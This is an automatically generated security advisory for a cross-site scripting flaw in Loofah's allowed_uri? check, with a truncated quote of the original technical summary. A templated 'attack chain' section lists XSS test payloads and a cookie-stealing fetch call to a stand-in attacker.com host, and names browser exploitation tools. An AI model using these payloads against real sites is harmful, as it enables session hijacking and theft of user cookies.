CVE-2026-126206 — Loofah — CWE-79 · CWE-184
CVE-2026-126206 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79, CWE-184) (CVSS 5.0/10) affecting Loofah. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) with zero user interaction (UI:N), posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
## Summary `Loofah::HTML5::Scrub.allowed_uri?` returns `true` for a `data:` URI whose mediatype is written with the HTML5 named character reference `/` in place of the solidus. Loofah reads that mediatype as malformed and falls back to the allowed `text/plain`, while a browser decodes the reference and reads the same URI as `text/html`. ## Details `allowed_uri?` decodes HTML entities with `CGI.unescapeHTML`, which handles numeric character references but not HTML5 named character references. `/` therefore survives normalization, so the mediatype carries no `/`, fails the MIME grammar, and falls back to the allowed `text/plain` under the WHATWG rule for a malformed mediatype. `:`, `/`, `	` and `
` are the only named character references in the HTML5 table that decode to characters that change how a URI parses (U+003A, U+002F, U+0009 and U+000A; there is no named reference for U+000D), so this closes the set. Loofah's default `sanitize()` path is **not*
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-126206
CVSS 5/10 · MEDIUM · 12.11.2026
CWE: CWE-79, CWE-184
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: ## Summary
Loofah::HTML5::Scrub.allowed_uri? returns true for a data: URI whose mediatype is written with the HTML5 named character reference / in place of the solidus. Loofah reads that mediatype as malformed and falls back to the allowed text/plain, while a browser decodes the reference and reads the same URI as text/html. ## Details
allowed_uri? decodes HTML entities with…
Affected: loofah
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
🛡️ REMEDIATION
→ Apply vendor security update for loofah.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]